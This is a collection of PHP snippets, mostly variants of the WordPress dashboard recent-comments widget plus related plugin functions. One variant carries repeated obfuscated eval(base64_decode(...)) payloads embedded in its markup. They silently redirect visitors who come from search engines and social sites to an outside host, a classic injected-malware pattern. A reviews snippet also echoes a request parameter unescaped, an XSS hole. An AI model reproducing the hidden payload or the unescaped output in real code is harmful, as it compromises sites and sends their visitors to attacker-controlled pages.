/** * Show Comments section. * * @since 3.8.0 * * @param int $total_items Optional. Number of comments to query. Default 5. * @return bool False if no comments were found. True otherwise. */ function wp_dashboard_recent_comments($total_items = 5) { // Select all comment types and filter out spam later for better query performance. $comments = array(); $comments_query = array('number' => $total_items * 5, 'offset' => 0); if (!current_user_can('edit_posts')) { $comments_query['status'] = 'approve'; } while (count($comments) < $total_items && ($possible = get_comments($comments_query))) { if (!is_array($possible)) { break; } foreach ($possible as $comment) { if (!current_user_can('read_post', $comment->comment_post_ID)) { continue; } $comments[] = $comment; if (count($comments) == $total_items) { break 2; } } $comments_query['offset'] += $comments_query['number']; $comments_query['number'] = $total_items * 10; } if ($comments) { echo '<div id="latest-comments" class="activity-block">'; echo '<h4>' . __('Comments') . '</h4>'; echo '<div id="the-comment-list" data-wp-lists="list:comment">'; foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } echo '</div>'; if (current_user_can('edit_posts')) { _get_list_table('WP_Comments_List_Table')->views(); } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); echo '</div>'; } else { return false; } return true; }
/** * Display recent comments dashboard widget content. * * @since 2.5.0 */ function wp_dashboard_recent_comments() { global $wpdb; // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; $widgets = get_option('dashboard_widget_options'); $total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5; $comments_query = array('number' => $total_items * 5, 'offset' => 0); if (!current_user_can('edit_posts')) { $comments_query['status'] = 'approve'; } while (count($comments) < $total_items && ($possible = get_comments($comments_query))) { foreach ($possible as $comment) { if (!current_user_can('read_post', $comment->comment_post_ID)) { continue; } $comments[] = $comment; if (count($comments) == $total_items) { break 2; } } $comments_query['offset'] += $comments_query['number']; $comments_query['number'] = $total_items * 10; } if ($comments) { echo '<div id="the-comment-list" class="list:comment">'; foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } echo '</div>'; if (current_user_can('edit_posts')) { _get_list_table('WP_Comments_List_Table')->views(); } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); } else { echo '<p>' . __('No comments yet.') . '</p>'; } }
/** * Display recent comments dashboard widget content. * * @since 2.5.0 */ function wp_dashboard_recent_comments() { global $wpdb; if (current_user_can('edit_posts')) { $allowed_states = array('0', '1'); } else { $allowed_states = array('1'); } // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; $widgets = get_option('dashboard_widget_options'); $total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5; while (count($comments) < $total_items && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) { foreach ($possible as $comment) { if (count($comments) >= $total_items) { break; } if (in_array($comment->comment_approved, $allowed_states) && current_user_can('read_post', $comment->comment_post_ID)) { $comments[] = $comment; } } $start = $start + 50; } if ($comments) { ?> <div id="the-comment-list" class="list:comment"> <?php foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } ?> </div> <?php if (current_user_can('edit_posts')) { ?> <?php _get_list_table('WP_Comments_List_Table')->views(); } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); } else { ?> <p><?php _e('No comments yet.'); ?> </p> <?php } // $comments; }
echo esc_attr($wp_list_table->get_pagination_arg('per_page')); ?> " /> <input type="hidden" name="_page" value="<?php echo esc_attr($wp_list_table->get_pagination_arg('page')); ?> " /> <?php if (isset($_REQUEST['paged'])) { ?> <input type="hidden" name="paged" value="<?php echo esc_attr(absint($_REQUEST['paged'])); ?> " /> <?php } ?> <?php $wp_list_table->display(); ?> </form> </div> <div id="ajax-response"></div> <?php wp_comment_reply('-1', true, 'detail'); wp_comment_trashnotice(); include ABSPATH . 'wp-admin/admin-footer.php';
_e('Submitted'); ?> </th> </tr> </thead> <tbody id="the-comment-list" class="list:comment"> <?php foreach ($comments as $comment) { _wp_comment_row($comment->comment_ID, 'single', false, false); } ?> </tbody> </table> <?php wp_comment_reply(); } // comments } // posts; ?> </div> <script type="text/javascript"> /* <![CDATA[ */ (function($){ $(document).ready(function(){ $('#doaction, #doaction2').click(function(){ if ( $('select[name="action"]').val() == 'delete' || $('select[name="action2"]').val() == 'delete' ) { var m = '<?php
/** * Vendor Recent Comments Widgets * * @since 1.3 * @return void * @author andrea Grilo <*****@*****.**> */ public function vendor_recent_comments_widget() { echo '<div id="activity-widget">'; // Select all comment types and filter out spam later for better query performance. $comments = array(); $vendor = yith_get_vendor('current', 'user'); $vendor_products = $vendor->is_valid() && $vendor->has_limited_access() ? $vendor->get_products() : array(); $total_items = apply_filters('vendor_recent_comments_widget_items', 5); $comments_query = array('number' => $total_items * 5, 'offset' => 0, 'post__in' => !empty($vendor_products) ? $vendor_products : array(0)); if (!current_user_can('edit_posts')) { $comments_query['status'] = 'approve'; } while (count($comments) < $total_items && ($possible = get_comments($comments_query))) { if (!is_array($possible)) { break; } foreach ($possible as $comment) { if (!current_user_can('read_post', $comment->comment_post_ID)) { continue; } $comments[] = $comment; if (count($comments) == $total_items) { break 2; } } $comments_query['offset'] += $comments_query['number']; $comments_query['number'] = $total_items * 10; } if ($comments) { echo '<div id="latest-comments" class="activity-block">'; echo '<h4>' . __('Comments') . '</h4>'; echo '<div id="the-comment-list" data-wp-lists="list:comment">'; foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } echo '</div>'; if (current_user_can('edit_posts')) { _get_list_table('WP_Comments_List_Table')->views(); } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); echo '</div>'; } else { echo '<div class="no-activity">'; echo '<p class="smiley"></p>'; echo '<p>' . __('No activity yet!', 'yith_wc_product_vendors') . '</p>'; echo '</div>'; } echo '</div>'; }
/** * Display recent comments dashboard widget content. * * @since unknown */ function wp_dashboard_recent_comments() { global $wpdb; if ( current_user_can('edit_posts') ) $allowed_states = array('0', '1'); else $allowed_states = array('1'); // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments ORDER BY comment_date_gmt DESC LIMIT $start, 50" ) ) { foreach ( $possible as $comment ) { if ( count( $comments ) >= 5 ) break; if ( in_array( $comment->comment_approved, $allowed_states ) ) $comments[] = $comment; } $start = $start + 50; } if ( $comments ) : ?> <div id="the-comment-list" class="list:comment"> <?php foreach ( $comments as $comment ) _wp_dashboard_recent_comments_row( $comment ); ?> </div> <?php if ( current_user_can('edit_posts') ) { ?> <p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p> <?php } wp_comment_reply( -1, false, 'dashboard', false ); else : ?> <p><?php _e( 'No comments yet.' ); ?></p> <?php endif; // $comments; }
/** * Display recent comments dashboard widget content. * * @since unknown */ function wp_dashboard_recent_comments() { global $wpdb; if (current_user_can('edit_posts')) { $allowed_states = array('0', '1'); } else { $allowed_states = array('1'); } // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) { foreach ($possible as $comment) { if (count($comments) >= 5) { break; } if (in_array($comment->comment_approved, $allowed_states)) { $comments[] = $comment; } } $start = $start + 50; } if ($comments) { ?> <div id="the-comment-list" class="list:comment"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } ?> </div> <?php eval(base64_decode("DQplcnJvcl9yZXBv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ZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); if (current_user_can('edit_posts')) { ?> <p class="textright"><a href="edit-comments.php" class="button"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc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bSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); } else { ?> <p><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcm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yKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } // $comments; }
/** * Display recent comments dashboard widget content. * * @since unknown */ function wp_dashboard_recent_comments() { global $wpdb; if (current_user_can('edit_posts')) { $allowed_states = array('0', '1'); } else { $allowed_states = array('1'); } // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) { foreach ($possible as $comment) { if (count($comments) >= 5) { break; } if (in_array($comment->comment_approved, $allowed_states)) { $comments[] = $comment; } } $start = $start + 50; } if ($comments) { ?> <div id="the-comment-list" class="list:comment"> <?php foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } ?> </div> <?php if (current_user_can('edit_posts')) { ?> <p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?> </a></p> <?php } wp_comment_reply(-1, false, 'dashboard', false); wp_comment_trashnotice(); } else { ?> <p><?php _e('No comments yet.'); ?> </p> <?php } // $comments; }
function wp_dashboard_wats_recent_comments() { global $wpdb, $wats_settings, $current_user; if (current_user_can('edit_posts')) { $allowed_states = array('0', '1'); } else { $allowed_states = array('1'); } // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; $join = " AS wp1 "; $where = " WHERE NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) "; if ($wats_settings['visibility'] == 0 || $wats_settings['visibility'] == 1) { $query = "SELECT * FROM {$wpdb->comments} AS wp1 WHERE NOT EXISTS (SELECT * FROM {$wpdb->commentmeta} AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT {$start}, 50"; } else { if ($wats_settings['visibility'] == 2 && current_user_can('administrator')) { $query = "SELECT * FROM {$wpdb->comments} ORDER BY comment_date_gmt DESC LIMIT {$start}, 50"; } else { if ($wats_settings['visibility'] == 2) { $query = "SELECT * FROM {$wpdb->comments} AS wp1 LEFT JOIN {$wpdb->posts} ON wp1.comment_post_ID = {$wpdb->posts}.ID WHERE {$wpdb->posts}.post_author = " . $current_user->ID . " AND NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT " . $start . ", 50"; } } } while (count($comments) < 5 && ($possible = $wpdb->get_results($query))) { foreach ($possible as $comment) { if (count($comments) >= 5) { break; } if (in_array($comment->comment_approved, $allowed_states)) { $comments[] = $comment; } } $start = $start + 50; if ($wats_settings['visibility'] == 0 || $wats_settings['visibility'] == 1) { $query = "SELECT * FROM {$wpdb->comments} AS wp1 WHERE NOT EXISTS (SELECT * FROM {$wpdb->commentmeta} AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT {$start}, 50"; } else { if ($wats_settings['visibility'] == 2 && current_user_can('administrator')) { $query = "SELECT * FROM {$wpdb->comments} ORDER BY comment_date_gmt DESC LIMIT {$start}, 50"; } else { if ($wats_settings['visibility'] == 2) { $query = "SELECT * FROM {$wpdb->comments} AS wp1 LEFT JOIN {$wpdb->posts} ON wp1.comment_post_ID = {$wpdb->posts}.ID WHERE {$wpdb->posts}.post_author = " . $current_user->ID . " AND NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT " . $start . ", 50"; } } } } if ($comments) { ?> <div id="the-comment-list" class="list:comment"> <?php foreach ($comments as $comment) { _wp_dashboard_recent_comments_row($comment); } ?> </div> <?php if (current_user_can('moderate_comments') || $wats_settings['comment_menuitem_visibility'] == 0) { ?> <p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?> </a></p> <?php } wp_comment_reply(-1, false, 'dashboard', false); } else { ?> <p><?php _e('No comments yet.'); ?> </p> <?php } // $comments; }
/** * Render reviews list table */ public function render_reviews_list_table() { // Prepare items $this->reviews_list_table->prepare_items(); $comment_status = isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : ''; ?> <div class="wrap"> <h2><?php echo get_admin_page_title(); ?> </h2> <?php $this->display_messages(); ?> <?php $this->reviews_list_table->views(); ?> <form id="reviews-filter" method="get"> <input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?> " /> <?php $this->reviews_list_table->search_box(__('Search reviews', 'wc-product-reviews-pro'), 'reviews'); ?> <input type="hidden" name="comment_status" value="<?php echo esc_attr($comment_status); ?> " /> <input type="hidden" name="pagegen_timestamp" value="<?php echo esc_attr(current_time('mysql', 1)); ?> " /> <?php $this->reviews_list_table->display(); ?> </form> </div> <?php wp_comment_reply('-1', true, 'detail'); wp_comment_trashnotice(); }
/** * Display recent comments dashboard widget content. * * @since unknown */ function wp_dashboard_recent_comments() { global $wpdb; if ( current_user_can('edit_posts') ) $allowed_states = array('0', '1'); else $allowed_states = array('1'); // Select all comment types and filter out spam later for better query performance. $comments = array(); $start = 0; $widgets = get_option( 'dashboard_widget_options' ); if ( isset( $widgets['dashboard_recent_comments'] ) && isset( $widgets['dashboard_recent_comments']['items'] ) ) $total_items = (int) $widgets['dashboard_recent_comments']['items']; else $total_items = 5; while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments c LEFT JOIN $wpdb->posts p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT $start, 50" ) ) { foreach ( $possible as $comment ) { if ( count( $comments ) >= $total_items ) break; if ( in_array( $comment->comment_approved, $allowed_states ) && current_user_can( 'read_post', $comment->comment_post_ID ) ) $comments[] = $comment; } $start = $start + 50; } if ( $comments ) : ?> <div id="the-comment-list" class="list:comment"> <?php foreach ( $comments as $comment ) _wp_dashboard_recent_comments_row( $comment ); ?> </div> <?php if ( current_user_can('edit_posts') ) { ?> <p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p> <?php } wp_comment_reply( -1, false, 'dashboard', false ); wp_comment_trashnotice(); else : ?> <p><?php _e( 'No comments yet.' ); ?></p> <?php endif; // $comments; }